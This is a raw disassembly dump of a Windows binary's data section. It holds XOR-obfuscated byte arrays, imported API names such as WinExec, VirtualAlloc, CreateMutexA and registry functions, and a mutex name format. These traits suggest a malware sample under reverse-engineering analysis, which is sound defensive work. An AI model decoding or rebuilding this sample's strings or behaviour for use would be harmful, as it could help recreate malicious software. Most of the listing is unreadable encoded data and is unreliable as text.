dd 0FBF9F5B8h, 0E1E1E1B5h, 0F8F9E6B8h, 0F5E5FFECh, 0B8E5FBF7h
dd 0B5FBF9F5h, 0F5FAF3E1h, 0A5F3FBF9h, 0FFFBE5B8h, 0F5B8F3FAh
dd 0FDE3B8F9h, 0F4FAF9B5h, 0F7F8B8A4h, 0F8F9FFE2h, 0F5B8E2F3h
dd 0E1B5FBF9h, 0F4B8E1E1h, 0B8F8FFF4h, 0FBB5E3E4h, 0F3E2E5F7h
dd 0B8EEBBE4h, 0B5FBF9F5h, 0B8E1E1E1h, 0ECF8F9E6h, 0F7F5E5FFh
dd 0F5B8E5FBh, 0E1B5FBF9h, 0F4B8E1E1h, 0BBFDF8F7h, 0E7F8F7F4h
dd 0F5BBF3E3h, 0F2F7F8F7h, 0F7F5B8F7h, 0E1E1E1B5h, 0F8F9E6B8h
dd 0F5E5FFECh, 0B8E5FBF7h, 0B5FBF9F5h, 0B8E1E1E1h, 0B8F9FBF4h
dd 0B5FBF9F5h, 0E6EFF7E6h, 0F5B8FAF7h, 0F3B5FBF9h, 0B8EFF7F4h
dd 0B5FBF9F5h, 0B8E1E1E1h, 0FDF8F7F4h, 0F7FBF0F9h, 0F7E4E3F2h
dd 0FBF9F5B8h, 0E1E1E1B5h, 0F4FFF5B8h, 0F9F5B8F5h, 0E1E1B5FBh
dd 0E2E0B8E1h, 0E3E4B8F4h, 0E1E1E1B5h, 0F4E1F5B8h, 0B8FDF8F7h
dd 0B5FBF9F5h, 0F2FAF9F1h, 0FAFAF9E6h, 0FBF9F5B8h, 0E1E1E1B5h
dd 0F8F9E6B8h, 0F5E5FFECh, 0B8E5FBF7h, 0B5FBF9F5h, 0B8E1E1E1h
dd 0F7F4FBFBh, 0E4B8FDF8h, 0E1E1B5E3h, 0F8E3B8E1h, 0E2E5F7FFh
dd 0B8FBE3E4h, 0F1B5E3E4h, 0E6F2FAF9h, 0B8FAFAF9h, 0B5FBF9F5h
dd 0B8E1E1E1h, 0ECF8F9E6h, 0F7F5E5FFh, 0F5B8E5FBh, 0E1B5FBF9h
dd 0E1B8E1E1h, 0F2FAE4F9h, 0FDF8F7F4h, 0F1E4F9B8h, 0E1E1E1B5h
dd 0F8F7F5B8h, 0F7F2FFF2h, 0F3E0F3E2h, 0FFF0FFE4h, 0F5B8E4F3h
dd 0E1B5FBF9h, 0E6B8E1E1h, 0FFECF8F9h, 0FBF7F5E5h, 0F9F5B8E5h
dd 0E1E1B5FBh, 0F7F4B8E1h, 0F0F9FDF8h, 0FFF2F8FFh, 0F9F5B8F7h
dd 0E1E1B5FBh, 0F5FFB8E1h, 0FDF8F7F4h, 0B5E3E4B8h, 0FDF8F7F4h
dd 0B8F1F8FFh, 0FFFAF7FEh, 0BBEEF7F0h, 0FFFAF8F9h, 0F5B8F3F8h
dd 0FDE3B8F9h, 0E1E1E1B5h, 0F8F3E0B8h, 0E5E4F9F2h, 0F3FBF7F8h
dd 0B5E5E1B8h, 0B8E1E1E1h, 0B8F4FBFDh, 0E1B5E3E4h, 0F8B8E1E1h
dd 0F7FBE2F3h, 0E2E5FFF1h, 0F5B8E4F3h, 0FDB5FBF9h, 0F7FDE0F7h
dd 0F8F3F5ECh, 0B8E4F3E2h, 0B5FBF9F5h, 0B8E1E1E1h, 0F2F8F3E0h
dd 0F8E5E4F9h, 0B8F3FBF7h, 0FBB5E5E1h, 0FAF8F9EFh, 0F7F3F8FFh
dd 0E3F9F5F5h, 0A4E5E2F8h, 0F4F4F7B8h, 0F7F8EFF3h, 0F8F9FFE2h
dd 0F5B8FAF7h, 0FDE3B8F9h, 0FAF8F9B5h, 0BBF3F8FFh, 0FFE5E3F4h
dd 0E5E5F3F8h, 0F9FAFAB8h, 0E2E5F2EFh, 0F5B8F4E5h, 0FDE3B8F9h
dd 0E1E1E1B5h, 0FAFAF7B8h, 0F4F7FEF7h, 0F7F4F2F7h, 0F5B8FDF8h
dd 0E1B5FBF9h, 0E4B8E1E1h, 0F5B8F5F4h, 0E1B5FBF9h, 0E6B8E1E1h
dd 0FFECF8F9h, 0FBF7F5E5h, 0F9F5B8E5h, 0E1E1B5FBh, 0FEB8A7E1h
dd 0B8F5F4E5h, 0FDB5F7F5h, 0F3E4F4F1h, 0F5EEF7FAh, 0B8F4E3FAh
dd 0EFB5E3E4h, 0F9F4FBF7h, 0ECFFF4B8h, 0F2FFFDB5h, 0F4BBE5F9h
dd 0B8FDF8F7h, 0E1B5E3E4h, 0FAB8E1E1h, 0FFF2F5F4h, 0E2F5F3E4h
dd 0E3F7FAB8h, 0E2F8F3E4h, 0F4F8F7FFh, 0B8FDF8F7h, 0F4B5F7F5h
dd 0FAF5E4F7h, 0B8E5EFF7h, 0B5FBF9F5h, 0F7E2F9E2h, 0F0EFFAFAh
dd 0F4F3F3E4h, 0FFFDF8F7h, 0F5B8F1F8h, 0E1B5FBF9h, 0F8B8E1E1h
dd 0F5B8F5F4h, 0A5A3B5F7h, 0FDF8F7F4h, 0FBF9F5B8h, 0E1E1E1B5h
dd 0F8F3E0B8h, 0E5E4F9F2h, 0F3FBF7F8h, 0B5E5E1B8h, 0B8E1E1E1h
dd 0BBF4A4F4h, 0E5E3E4E2h, 0F9F5B8E2h, 0E1E1B5FBh, 0F3E0B8E1h
dd 0E4F9F2F8h, 0FBF7F8E5h, 0E5E1B8F3h, 0F3E6F9B5h, 0F8F7F4F8h
dd 0F9F5B8FDh, 0F7E2B5FBh, 0F3F8BBE2h, 0F7F4E2F0h, 0E4B8FDF8h
dd 0F3E5B5E3h, 0F4F7FAF5h, 0B5E3E4B8h, 0E3F5F3E5h, 0EFE2FFE4h
dd 0B8F4F7FAh, 0F0B5E3E4h, 0F7FEE2F3h, 0F4B8F2E4h, 0F1B5ECFFh
dd 0EEF8F9E4h, 0F8F7FAE6h, 0B8E5E2F3h, 0E0B5E3E4h, 0F9F2F8F3h
dd 0F7F8E5E4h, 0E1B8F3FBh, 0B5E5h
dword_44ACD8 dd 4, 0F000B2h, 0F600FDh, 0EBh ; DATA XREF: sub_44006A+27o
dword_44ACE8 dd 3E1E0001h ; DATA XREF: sub_43F9F6:loc_43FEDEo
db 0
byte_44ACED db 2 dup(0), 15h ; DATA XREF: sub_43F9F6+49Fo
db 0
byte_44ACF1 db 13h, 0, 47h ; DATA XREF: sub_43F9F6+47Ao
db 12h
aG3G235__0 db ')&%+"g3(g&23/(5.="',0
a5_0 db '5',0 ; DATA XREF: sub_43F9F6+46Ao
dw 0A2F7h
aScxitGsCvgqseu db '׃זקקה',0
byte_44AD41 db 1, 0, 0A3h ; DATA XREF: sub_43F9F6:loc_43FCADo
db 8Eh, 0
word_44AD46 dw 1Eh ; DATA XREF: sub_43F9F6+272o
db 0Ch
db 5Ch, 60h, 69h
db 6Dh ; m
db 7Fh, 69h, 20h
db 2Ch ; ,
db 7Fh, 69h, 60h
aIoxItEMxecbU_0 db 'iox,It|e~mxecb,Uim~',0
dword_44AD68 dd 10300001h ; DATA XREF: sub_43F9F6:loc_43FBF9o
db 0
byte_44AD6D db 1Fh, 0, 9Ah ; DATA XREF: sub_43F9F6+1BEo
dd 0FBFFF6CAh, 0BAB6FFE9h, 0FFF6FFE9h, 0DFBAEEF9h, 0E8F3EAE2h
dd 0F5F3EEFBh, 0F5D7BAF4h, 0F2EEF4h
dword_44AD90 dd 77520004h, 0A6A62h ; DATA XREF: sub_43F85A+69o
dword_44AD98 dd 5C100000h ; DATA XREF: sub_43F5E2+2Do
db 0
byte_44AD9D db 1, 0, 0F8h ; DATA XREF: sub_43F3B6+1B0o
db 0D2h, 0
word_44ADA2 dw 4 ; DATA XREF: sub_43F3B6+95o
db ')-)))',0
asc_44ADAA db 9,0 ; DATA XREF: sub_43F189+16Bo
dd 0F123060h, 14031504h
db 29h, 4, 0
byte_44ADB7 db 29h ; DATA XREF: sub_43F189+15Bo
dd 9C80D300h, 92848795h, 9E8F9681h, 0BCA1B0BAh, 0A7B5BCA0h
dd 0BDBA848Fh, 0A0A4BCB7h, 0A1A6908Fh, 0A7BDB6A1h, 0A0A1B685h
dd 0BDBCBAh
dword_44ADE4 dd 755B0001h ; DATA XREF: sub_43F189+13Fo
db 0
byte_44ADE9 db 4, 0, 65h ; DATA XREF: sub_43F189+DAo
aH@K db 'H@=K',0
byte_44ADF1 db 3, 0, 8Bh ; DATA XREF: sub_43F189+9Co
dd 0D7B1E8h
dword_44ADF8 dd 0ECC90008h, 0BCECE7BCh, 0BCECE7h ; DATA XREF: sub_43F189:loc_43F1EDo
dword_44AE04 dd 612F0002h ; DATA XREF: sub_43F189+4Fo
db 7Bh, 0
word_44AE0A dw 2 ; DATA XREF: sub_43F189+31o
dd 86E7DEh
dword_44AE10 dd 73150000h, 70637274h ; DATA XREF: sub_43EF62+19Fo
db 79h, 0
word_44AE1A dw 0 ; DATA XREF: sub_43EF62+183o
aVsprintf db 'vsprintf',0
word_44AE26 dw 0 ; DATA XREF: sub_43EF62+167o
aZsprintf db 'sprintf',0
byte_44AE31 db 2 dup(0), 0B6h ; DATA XREF: sub_43EF62+14Bo
aStrcat db 'strcat',0
byte_44AE3B db 0 ; DATA XREF: sub_43EF62+12Fo
dd 72731B00h, 646E61h
dword_44AE44 dd 72C00000h, 646E61h ; DATA XREF: sub_43EF62+113o
dword_44AE4C dd 6D100000h, 65736D65h ; DATA XREF: sub_43EF62+F7o
db 74h, 0
word_44AE56 dw 0 ; DATA XREF: sub_43EF62+DBo
a4memcpy db '4memcpy',0
dword_44AE60 dd 6D930000h, 6D636D65h ; DATA XREF: sub_43EF62+BFo
db 70h, 0
word_44AE6A dw 0 ; DATA XREF: sub_43EF62+A3o
aTmalloc db 'tmalloc',0
dword_44AE74 dd 66CD0000h, 656572h ; DATA XREF: sub_43EF62+87o
dword_44AE7C dd 61C20000h, 696F74h ; DATA XREF: sub_43EF62+6Bo
dword_44AE84 dd 74E50000h, 7070756Fh ; DATA XREF: sub_43EF62+4Fo
db 65h, 72h, 0
byte_44AE8F db 0 ; DATA XREF: sub_43EF62:loc_43EF95o
dd 735F1400h, 7065656Ch
db 0
byte_44AE99 db 2 dup(0), 0Eh ; DATA XREF: sub_43EF62+1Co
aCrtdll_dll db 'crtdll.dll',0
byte_44AEA7 db 0 ; DATA XREF: sub_43EF62+1o
dd 7263E200h, 6C6C6474h, 6C6C642Eh
db 0
byte_44AEB5 db 2 dup(0), 20h ; DATA XREF: sub_43EC0A+1EBo
aKkqVx_0 db 'kkq-vx',0
byte_44AEBF db 0 ; DATA XREF: sub_43EC0A+1DBo
dd 6B6B6D00h, 78762D71h
db 0
byte_44AEC9 db 2 dup(0), 0C3h ; DATA XREF: sub_43EC0A+15Do
aKkqVx_1 db 'kkq-vx',0
byte_44AED3 db 0 ; DATA XREF: sub_43EC0A+F3o
dd 6B6B1C00h, 78762D71h
db 0
byte_44AEDD db 2 dup(0), 7 ; DATA XREF: sub_43EC0A+E3o
aS_mtxU db '%s_mtx%u',0
byte_44AEE9 db 2 dup(0), 0D0h ; DATA XREF: sub_43EC0A+B1o
aKkqVx_2 db 'kkq-vx',0
byte_44AEF3 db 0 ; DATA XREF: sub_43EC0A+A1o
dd 7325CC00h, 78746D5Fh
db 31h, 0
word_44AEFE dw 16h ; DATA XREF: sub_43DB8B+DF2o
aTbolbiNmbzNB_0 db '⡎¶¡',0
dword_44AF18 dd 7A380006h, 776C6C6Dh ; DATA XREF: sub_43DB8B+DE2o
db 76h, 0
word_44AF22 dw 1Eh ; DATA XREF: sub_43DB8B+D44o
dd 545C4104h, 5045564Dh, 244A4B4Dh, 41504540h, 450E0E0Eh
dd 54244950h, 47244A4Dh, 41404Bh
dword_44AF44 dd 580B0006h, 425F4A5Fh ; DATA XREF: sub_43DB8B+D34o
db 48h, 0
word_44AF4E dw 0 ; DATA XREF: sub_43DB8B+C74o
db 0B8h, 0
word_44AF52 dw 4 ; DATA XREF: sub_43DB8B+C64o
aIcl_0 db 'ߚ',0
word_44AF5A dw 6 ; DATA XREF: sub_43DB8B+BDFo
dd 0E0F5F7C5h, 0B0F7EBh
dword_44AF64 dd 0A0850004h, 0F0B7ABh ; DATA XREF: sub_43DB8B:loc_43E710o
dword_44AF6C dd 0B40000h ; DATA XREF: sub_43DB8B+ABCo
dword_44AF70 dd 16550008h, 1A17181Ah, 0D1A17h ; DATA XREF: sub_43DB8B+AACo
dword_44AF7C dd 8E0000h ; DATA XREF: sub_43DB8B+9FAo
dword_44AF80 dd 5A190008h, 565B5456h, 41565Bh ; DATA XREF: sub_43DB8B+9EAo
dword_44AF8C dd 41120006h, 5B465346h ; DATA XREF: sub_43DB8B+8DDo
db 51h, 0
word_44AF96 dw 6Eh ; DATA XREF: sub_43DB8B:loc_43E442o
db 43h ; C
db 16h, 2Dh, 22h
db 21h ; !
db 2Fh, 26h, 63h
db 37h ; 7
db 2Ch, 63h, 22h
db 36h ; 6
db 37h, 2Bh, 2Ch
db 31h ; 1
db 2Ah, 39h, 26h
db 6Dh ; m
db 49h, 66h, 30h
db 63h ; c
db 33h, 31h, 2Ch
db 20h
db 26h, 2 dup(30h)
db 2Ah ; *
db 2Dh, 24h, 63h
db 20h
db 26h, 2Dh, 37h
db 26h ; &
db 31h, 63h, 2Ah
db 30h ; 0
db 63h, 36h, 2Dh
db 22h ; "
db 21h, 2Fh, 26h
db 63h ; c
db 37h, 2Ch, 63h
db 22h ; "
db 36h, 37h, 2Bh
db 2Ch ; ,
db 31h, 2Ah, 39h
db 26h ; &
db 63h, 3Ah, 2Ch
db 36h ; 6
db 31h, 63h, 20h
db 22h ; "
db 31h, 27h, 63h
db 66h ; f
db 30h, 6Dh, 49h
db 0Eh
aC1170cC71CM_0 db '"(&c ,11& 7*,-0c"-',27h,'c71:c"$"*-m',0
aM_0: ; DATA XREF: sub_43DB8B:loc_43E42Ao
dw 0Ah
unicode 0, <M>
dd 28393E2Ch, 3F2C0E3Fh
db 29h, 0
word_44B016 dw 4 ; DATA XREF: sub_43DB8B+885o
dd 0E140B5Dh
db 1Ch, 0
word_44B01E dw 1 ; DATA XREF: sub_43DB8B+7C2o
db 42h, 62h, 0
byte_44B023 db 6 ; DATA XREF: sub_43DB8B+7B2o
dd 2D2A7900h, 3A302D38h
db 0
byte_44B02D db 2 dup(0), 92h ; DATA XREF: sub_43DB8B+690o
db 0
byte_44B031 db 6, 0, 76h ; DATA XREF: sub_43DB8B+680o
a7?5 db '%"7"?5',0
byte_44B03B db 15h ; DATA XREF: sub_43DB8B+5F8o
db 0
aFlfff6455F_0 db 'flFFF64)%#55/(!F ',27h,'/*#"',0
dword_44B054 dd 0D5E0006h, 170A1F0Ah ; DATA XREF: sub_43DB8B+5E8o
db 1Dh, 0
word_44B05E dw 6 ; DATA XREF: sub_43DB8B+4D9o
aB3o4_0 db 'B))3o4:',0
asc_44B068 db 8,0 ; DATA XREF: sub_43DB8B+46Eo
aIAgI_0 db '̉',0
asc_44B074 db 9,0 ; DATA XREF: sub_43DB8B:loc_43DFDDo
dw 0C480h
dd 0E2CFE3EFh, 0F4E3E5EAh
db 0
byte_44B081 db 0Eh, 0, 0D4h ; DATA XREF: sub_43DB8B+426o
aAGGcZz_0 db '',0
byte_44B093 db 4 ; DATA XREF: sub_43D8DE+56o
dd 0F4B49A00h
db 0F6h, 0E9h, 0
byte_44B09B db 1 ; DATA XREF: sub_43D8DE+2Ao
dd 0FBA700h
dword_44B0A0 dd 25030000h, 5C732573h ; DATA XREF: sub_43D357+31Co
db 0
byte_44B0A9 db 5, 0, 2Bh ; DATA XREF: sub_43D357+2ABo
dd 580E580Eh
db 77h, 0
word_44B0B2 dw 0 ; DATA XREF: sub_43D357+C1o
aUS db '%s*',0
byte_44B0B9 db 4, 0, 8Fh ; DATA XREF: sub_43D357+73o
aK_0 db '',0
align 4
asc_44B0C4: ; DATA XREF: sub_43D058+1D2o
dw 9
unicode 0, <>,0
aZagkAalb:
unicode 0, <ŧ>,0
a_ db '_',0 ; DATA XREF: sub_43D058+12Ao
aIu_iTyi_TyiT_0 db 'Iu $.i> -=!tyi!, .!=tyi+&;-,;tyi:;*t!==9sffl:v!tl:o tl<l:o&tl<o/t'
db 'l*o: tl:o:&tl<o=%tl<o?tl<o-tl:w',0
asc_44B141 db ',',0 ; DATA XREF: sub_43D058+D5o
aBAAnaAnaAnaA_0 db 'ڝՀɀπހΒۀރ',0
asc_44B171 db 7,0 ; DATA XREF: sub_43D058+67o
aNPnuP_0 db 'ӏӏ',0
dword_44B17C dd 417A0003h ; DATA XREF: sub_43C5EA+2F6o
db 15h, 47h, 0
byte_44B183 db 4 ; DATA XREF: sub_43C5EA:loc_43C852o
dd 337B4000h
db 2Fh, 7Dh, 0
byte_44B18B db 4 ; DATA XREF: sub_43C5EA+22Do
dd 0ACF3C800h, 0E2F5h
dword_44B194 dd 3, 0F0046h, 1000Bh ; DATA XREF: sub_43C5EA+16o
db 2 dup(0)
word_44B1A2 dw 0 ; DATA XREF: sub_43C26E:loc_43C2A1o
aShgetfolderpat db 'SHGetFolderPathA',0
asc_44B1B6 db 0Bh,0 ; DATA XREF: sub_43C26E+1Co
aMQuv db '',0
byte_44B1C5 db 2 dup(0), 0Eh ; DATA XREF: sub_43C26E+1o
aShell32_dll db 'shell32.dll',0
dword_44B1D4 dd 47020000h, 73557465h, 614E7265h, 41656Dh ; DATA XREF: sub_43C1C6+87o
dword_44B1E4 dd 520B0000h, 6C436765h, 4B65736Fh ; DATA XREF: sub_43C1C6+6Bo
db 65h, 79h, 0
byte_44B1F3 db 0 ; DATA XREF: sub_43C1C6+4Fo
dd 6552EF00h, 65755167h, 61567972h, 4565756Ch
db 78h, 41h, 0
byte_44B207 db 0 ; DATA XREF: sub_43C1C6:loc_43C1F9o
dd 65529B00h, 65704F67h, 79654B6Eh, 417845h
dword_44B218 dd 6607000Ch, 77667163h, 2935346Eh, 6B6B63h ; DATA XREF: sub_43C1C6+1Co
dword_44B228 dd 618E0000h, 70617664h, 2E323369h, 6C6C64h ; DATA XREF: sub_43C1C6+1o
dword_44B238 dd 5C970000h ; DATA XREF: sub_43BD90:loc_43C02Do
db 0
byte_44B23D db 5, 0, 6Fh ; DATA XREF: sub_43BA75+2C8o
dd 4A331C4Ah
db 1Ch, 0
word_44B246 dw 5 ; DATA XREF: sub_43BA75+25Ao
dd 230C5A7Fh
db 5Ah, 0Ch, 0
byte_44B24F db 4 ; DATA XREF: sub_43BA75+17o
dd 0F8AE8B00h
db 0D7h, 0A1h, 0
byte_44B257 db 4 ; DATA XREF: sub_43B982+55o
dd 98D8F600h
db 9Ah, 85h, 0
byte_44B25F db 1 ; DATA XREF: sub_43B982+29o
dd 792500h
dword_44B264 dd 450C0011h, 7E697862h, 2C786962h, 607C7449h, 7E697E63h
; DATA XREF: sub_43B912+24o
db 0
off_44B279 dd offset loc_43FFFE+2 ; DATA XREF: sub_43B622:loc_43B8A9o
byte_44B27D db 1, 0, 55h ; DATA XREF: sub_43B622:loc_43B831o
db 2Dh, 0
word_44B282 dw 0 ; DATA XREF: sub_43B523:loc_43B57Fo
db 0E4h, 0
word_44B286 dw 0 ; DATA XREF: sub_43B4B3+4Fo
aGetstockobject db 'GetStockObject',0
dword_44B298 dd 43B00000h, 74616572h, 6E6F4665h ; DATA XREF: sub_43B4B3:loc_43B4E6o
db 74h, 41h, 0
byte_44B2A7 db 9 ; DATA XREF: sub_43B4B3+1Co
dd 292A4D00h, 637F7E24h, 212129h
dword_44B2B4 dd 67D70000h, 32336964h, 6C6C642Eh ; DATA XREF: sub_43B4B3+1o
db 0
byte_44B2C1 db 2 dup(0), 0BFh ; DATA XREF: sub_43B3CC+A3o
aIsequalguid db 'IsEqualGUID',0
dword_44B2D0 dd 436F0000h, 696E556Fh, 6974696Eh, 7A696C61h ; DATA XREF: sub_43B3CC+87o
db 65h, 0
word_44B2E2 dw 0 ; DATA XREF: sub_43B3CC+6Bo
aCoinitialize db 'CoInitialize',0
word_44B2F2 dw 0 ; DATA XREF: sub_43B3CC+4Fo
dd 436F43F7h, 74616572h, 736E4965h, 636E6174h
db 65h, 0
word_44B306 dw 0 ; DATA XREF: sub_43B3CC:loc_43B3FFo
aClsidfromstrin db 'CLSIDFromString',0
byte_44B319 db 2 dup(0), 61h ; DATA XREF: sub_43B3CC+1Co
aOle32_dll db 'ole32.dll',0
word_44B326 dw 0 ; DATA XREF: sub_43B3CC+1o
aOle32_dll_0 db 'ole32.dll',0
byte_44B333 db 4 ; DATA XREF: sub_43AF47+3D6o
dd 0C08AA400h
db 0C5h, 0D0h, 0
byte_44B33B db 17h ; DATA XREF: sub_43ABE3:loc_43ADD7o
dd 4C0A2F00h, 4C0A4C0Ah, 0A024C0Ah, 2 dup(0A4C0A4Ch), 404C014Ch
db 42h, 0
word_44B356 dw 16h ; DATA XREF: sub_43ABE3+1AEo
dd 12541237h, 12541254h, 1A541254h, 2 dup(54125412h), 424519h
dword_44B370 dd 474C0000h, 6F4C7465h, 656C6163h, 6F666E49h ; DATA XREF: sub_43A105+499o
db 41h, 0
word_44B382 dw 0 ; DATA XREF: sub_43A105+47Do
aNgetversionexa db 'GetVersionExA',0
byte_44B393 db 0 ; DATA XREF: sub_43A105+461o
dd 6946C500h, 6954656Ch, 6F54656Dh, 74737953h, 69546D65h
db 6Dh, 65h, 0
byte_44B3AB db 0 ; DATA XREF: sub_43A105+445o
dd 6F43A600h, 7261706Dh, 6C694665h, 6D695465h
db 65h, 0
word_44B3BE dw 0 ; DATA XREF: sub_43A105+429o
aTgetvolumeinfo db 'tGetVolumeInformationA',0
byte_44B3D7 db 0 ; DATA XREF: sub_43A105+40Do
dd 6E497B00h, 6C726574h, 656B636Fh, 63654464h, 656D6572h
db 6Eh, 74h, 0
byte_44B3EF db 0 ; DATA XREF: sub_43A105+3F1o
dd 6E49DF00h, 6C726574h, 656B636Fh, 636E4964h, 656D6572h
db 6Eh, 74h, 0
byte_44B407 db 0 ; DATA XREF: sub_43A105+3D5o
dd 65477600h, 73795374h, 446D6574h, 63657269h, 79726F74h
db 41h, 0
word_44B41E dw 0 ; DATA XREF: sub_43A105+3B9o
aAgetmodulefile db 'GetModuleFileNameA',0
dword_44B434 dd 4FE50000h, 4D6E6570h, 78657475h ; DATA XREF: sub_43A105+39Do
db 41h, 0
word_44B442 dw 0 ; DATA XREF: sub_43A105+381o
aScreatemutexa db 'CreateMutexA',0
word_44B452 dw 0 ; DATA XREF: sub_43A105+365o
dd 706F43F7h, 6C694679h
db 65h, 41h, 0
byte_44B45F db 0 ; DATA XREF: sub_43A105+349o
db 0
a_getdiskfreesp db '_GetDiskFreeSpaceA',0
dword_44B474 dd 53F20000h, 72457465h, 4D726F72h, 65646Fh ; DATA XREF: sub_43A105+32Do
dword_44B484 dd 47E80000h, 78457465h, 6F437469h, 68546564h, 64616572h
; DATA XREF: sub_43A105+311o
db 0
byte_44B499 db 2 dup(0), 0CBh ; DATA XREF: sub_43A105+2F5o
aGetdrivetypea db 'GetDriveTypeA',0
word_44B4AA dw 0 ; DATA XREF: sub_43A105+2D9o
aZfindclose db 'zFindClose',0
byte_44B4B7 db 0 ; DATA XREF: sub_43A105+2BDo
dd 69461E00h, 654E646Eh, 69467478h, 41656Ch
dword_44B4C8 dd 46610000h, 46646E69h, 74737269h, 656C6946h ; DATA XREF: sub_43A105+2A1o
db 41h, 0
word_44B4DA dw 0 ; DATA XREF: sub_43A105+285o
aMgettickcount db 'GetTickCount',0
word_44B4EA dw 0 ; DATA XREF: sub_43A105+269o
aZrtlzeromemory db 'RtlZeroMemory',0
byte_44B4FB db 0 ; DATA XREF: sub_43A105+24Do
dd 65470800h, 73795374h, 546D6574h, 656D69h
dword_44B50C dd 4C8F0000h, 6C61636Fh, 65657246h ; DATA XREF: sub_43A105+231o
db 0
byte_44B519 db 2 dup(0), 72h ; DATA XREF: sub_43A105+215o
aLocalalloc db 'LocalAlloc',0
byte_44B527 db 0 ; DATA XREF: sub_43A105+1F9o
dd 69567600h, 61757472h, 6572466Ch
db 65h, 0
word_44B536 dw 0 ; DATA XREF: sub_43A105+1DDo
aGvirtualalloc db 'VirtualAlloc',0
word_44B546 dw 0 ; DATA XREF: sub_43A105+1C1o
a8readfile db '8ReadFile',0
word_44B552 dw 0 ; DATA XREF: sub_43A105+1A5o
aGettemppatha db 'GetTempPathA',0
word_44B562 dw 0 ; DATA XREF: sub_43A105+189o
aEglobalmemorys db 'GLobalMemoryStatus',0
dword_44B578 dd 4DE90000h, 69746C75h, 65747942h, 69576F54h, 68436564h
; DATA XREF: sub_43A105+16Do
db 61h, 72h, 0
byte_44B58F db 0 ; DATA XREF: sub_43A105+151o
dd 69579000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
db 65h, 0
word_44B5A6 dw 0 ; DATA XREF: sub_43A105+135o
aTwinexec db 'WinExec',0
byte_44B5B1 db 2 dup(0), 46h ; DATA XREF: sub_43A105+119o
aLstrlenw db 'lstrlenW',0
byte_44B5BD db 2 dup(0), 4Bh ; DATA XREF: sub_43A105+FDo
aGetfilesize db 'GetFileSize',0
dword_44B5CC dd 43C80000h, 65736F6Ch, 646E6148h ; DATA XREF: sub_43A105+E1o
db 6Ch, 65h, 0
byte_44B5DB db 0 ; DATA XREF: sub_43A105+C5o
dd 72572600h, 46657469h, 656C69h
dword_44B5E8 dd 53C00000h, 69467465h, 6F50656Ch, 65746E69h ; DATA XREF: sub_43A105+A9o
db 72h, 0
word_44B5FA dw 0 ; DATA XREF: sub_43A105+8Do
aJdeletefilea db 'DeleteFileA',0
byte_44B609 db 2 dup(0), 0ECh ; DATA XREF: sub_43A105+71o
aCreatefilea db 'CreateFileA',0
dword_44B618 dd 4CE70000h, 4C64616Fh, 61726269h, 417972h ; DATA XREF: sub_43A105+55o
dword_44B628 dd 47860000h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch
; DATA XREF: sub_43A105+39o
dword_44B63C dd 42BB0000h, 706565h ; DATA XREF: sub_43A105+1Do
dword_44B644 dd 45980000h, 54746978h, 61657268h ; DATA XREF: sub_43A105+1o
db 64h, 0
word_44B652 dw 0 ; DATA XREF: sub_439DDE+2EFo
db 16h
aEnumdesktopwin db 'EnumDesktopWindows',0
dword_44B668 dd 46E10000h, 57646E69h, 6F646E69h, 41784577h ; DATA XREF: sub_439DDE+2D3o
db 0
byte_44B679 db 2 dup(0), 56h ; DATA XREF: sub_439DDE+2B7o
aTranslatemessa db 'TranslateMessage',0
byte_44B68D db 2 dup(0), 9Fh ; DATA XREF: sub_439DDE+29Bo
aShowwindow db 'ShowWindow',0
byte_44B69B db 0 ; DATA XREF: sub_439DDE+27Fo
dd 65539D00h, 6E695774h, 54776F64h, 41747865h
db 0
byte_44B6AD db 2 dup(0), 62h ; DATA XREF: sub_439DDE+263o
aSetwindowlonga db 'SetWindowLongA',0
byte_44B6BF db 0 ; DATA XREF: sub_439DDE+247o
dd 6553A000h, 6D695474h
db 65h, 72h, 0
byte_44B6CB db 0 ; DATA XREF: sub_439DDE+22Bo
dd 65530A00h, 636F4674h
db 75h, 73h, 0
byte_44B6D7 db 0 ; DATA XREF: sub_439DDE+20Fo
dd 6553B800h, 654D646Eh, 67617373h
db 65h, 41h, 0
byte_44B6E7 db 0 ; DATA XREF: sub_439DDE+1F3o
dd 6552E800h, 74736967h, 6C437265h, 41737361h
db 0
byte_44B6F9 db 2 dup(0), 62h ; DATA XREF: sub_439DDE+1D7o
aMovewindow db 'MoveWindow',0
byte_44B707 db 0 ; DATA XREF: sub_439DDE+1BBo
dd 654D4000h, 67617373h, 786F4265h
db 41h, 0
word_44B716 dw 0 ; DATA XREF: sub_439DDE+19Fo
aPloadicona db 'PLoadIconA',0
byte_44B723 db 0 ; DATA XREF: sub_439DDE+183o
dd 6F4C0100h, 75436461h, 726F7372h
db 41h, 0
word_44B732 dw 0 ; DATA XREF: sub_439DDE+167o
aGetwindowtexta db 'GetWindowTextA',0
dword_44B744 dd 47990000h, 69577465h, 776F646Eh, 74636552h ; DATA XREF: sub_439DDE+14Bo
db 0
byte_44B755 db 2 dup(0), 33h ; DATA XREF: sub_439DDE+12Fo
aGetwindowlonga db 'GetWindowLongA',0
byte_44B767 db 0 ; DATA XREF: sub_439DDE+113o
dd 6547AD00h, 6E695774h, 776F64h
dword_44B774 dd 47940000h, 654D7465h, 67617373h ; DATA XREF: sub_439DDE+F7o
db 65h, 41h, 0
byte_44B783 db 0 ; DATA XREF: sub_439DDE+DBo
dd 65472600h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
db 77h, 0
word_44B79A dw 0 ; DATA XREF: sub_439DDE+BFo
a5getclassnamea db '5GetClassNameA',0
byte_44B7AB db 0 ; DATA XREF: sub_439DDE+A3o
dd 69443D00h, 74617073h, 654D6863h, 67617373h
db 65h, 41h, 0
byte_44B7BF db 0 ; DATA XREF: sub_439DDE+87o
dd 65446800h, 6F727473h, 6E695779h, 776F64h
dword_44B7D0 dd 44C30000h, 69576665h, 776F646Eh, 636F7250h ; DATA XREF: sub_439DDE+6Bo
db 41h, 0
word_44B7E2 dw 0 ; DATA XREF: sub_439DDE+4Fo
aCreatewindowex db 'CreateWindowExA',0
byte_44B7F5 db 2 dup(0), 23h ; DATA XREF: sub_439DDE:loc_439E11o
aCallwindowproc db 'CallWindowProcA',0
dword_44B808 dd 75D20000h, 33726573h, 6C642E32h ; DATA XREF: sub_439DDE+1Co
db 6Ch, 0
word_44B816 dw 0 ; DATA XREF: sub_439DDE+1o
aUser32_dll_0 db ',user32.dll',0
dword_44B824 dd 0AC89000Fh, 0EFEDD5FAh, 0F3FCACE5h, 0EDA7BBBAh
; DATA XREF: sub_439B7B+5Do
db 2 dup(0E5h), 0
